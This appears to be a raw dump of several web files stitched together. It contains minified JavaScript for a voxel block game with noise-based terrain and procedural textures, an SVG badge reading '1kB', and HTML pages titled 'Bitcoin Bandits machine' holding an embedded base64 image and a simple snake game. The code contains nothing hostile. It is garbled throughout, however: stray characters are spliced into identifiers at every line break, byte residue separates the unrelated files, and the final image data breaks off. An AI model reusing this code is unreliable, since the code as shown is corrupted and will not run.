7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getCM
ontext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>sM
nake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0MF
,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAVT0lEQVR4nO3df7AdZXkH8PdKERC5GiQNYSakkU4sVKsl8cfMDTWEwRScJog1gaIdIFq1SjEzMvlDLDC200mZDqDtjC0TwiAUg+0UdMQiQ6SFdBwglqkVClOMgJXfRKNILMX0j3D2vDd39+7Zc8+P59z7+fyT9+7Zs/vmBp55znff3TM2sXrNvgRAOK8a9gQAKKdAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAME9SvDngBx7bjtq8OeAj0ysXrNM
sKdAF3TQAEEp0ABBiTiojDKuunFfMb7w7LFiPHHGd6Y93mvGX197zsPG5037+qGHHzHt64uOru8tjj16rOb12kOkx56se33f9DuklB5/8pfTvr73hZ9O+/qLe3bXnuPne35cun3HzSfWvpe4dNAAQSnQAEGJOOaYsjgjjzKa2PXdm4vxTT/5QjFecuiR7X32Pl+MLzt955Rj3PeNKxod4/MbnkkppXTjX1/a6H07v9Aet3ziw5fUHmN+zTFydXMq+3tMp/W7ufcXNxTb8mPk81y3/Cu1x2P06KABglKgAYISccxSnazMKPa9/+XSfSfedlDH56uKFta97oJifNOty4rxX571/Y6PkW9vcu58+9RwpbNjTJr/Bfv3qYs6qo436Vhb5hfj/HeRRz6taKNqPrl77/tAex9xx6yhgwYISgc9CzS58FfVLc9UJx1vXSf89kPOKcb3phtKt6+oOXdVh7lp2jM3m39dN97J8ep+F/kx8n1/c+LcYvy9HdeWno/ZQwcNEJQCM
DRCUiGOE9OLCX79UXWTLo4qyj+HLT9tYjPMLZPm+K875047PffYnLy3Gdbd6Vx2jyfybHC8/1sZzHmrvXHGrd9n66U7Ox+yhgwYISoEGCErEEVCTKCOlwccZZapWLeQrMNIh7eFNX35jSql8PfSBx2hy7m41mX9rPXRKKT32mec6Pt6kVSo3vKkYf/yM+6Y9RpMVH8wuOmiAoBRogKBEHEMW4SaTfqq6sWJUbPqzy4rx5osvmWZP6D0dNEBQCjRAUCKOAYl8k0kvVN3oce32U0u3t56ZsbzieN3eFPK+P39D6fZ/uPy/Oz5Gfu7fv+jXi/GykqfSnd3keNkqlk7+fq3z5A//r/p9blpxR+3xGD06aICgdNA9NoprmHuhar3zJNn2/BbvMnmXWvYEu6bnrnuaXZP55xcOq77Vu+54+d8v/xRRdut71RP68uMuKd+DEaeDBghKgQYIamxi9ZruvtKZWb+GOf/KqwvPbj8ZbuKM70z7vteMv7722IeNz5v29UMPP2LaM
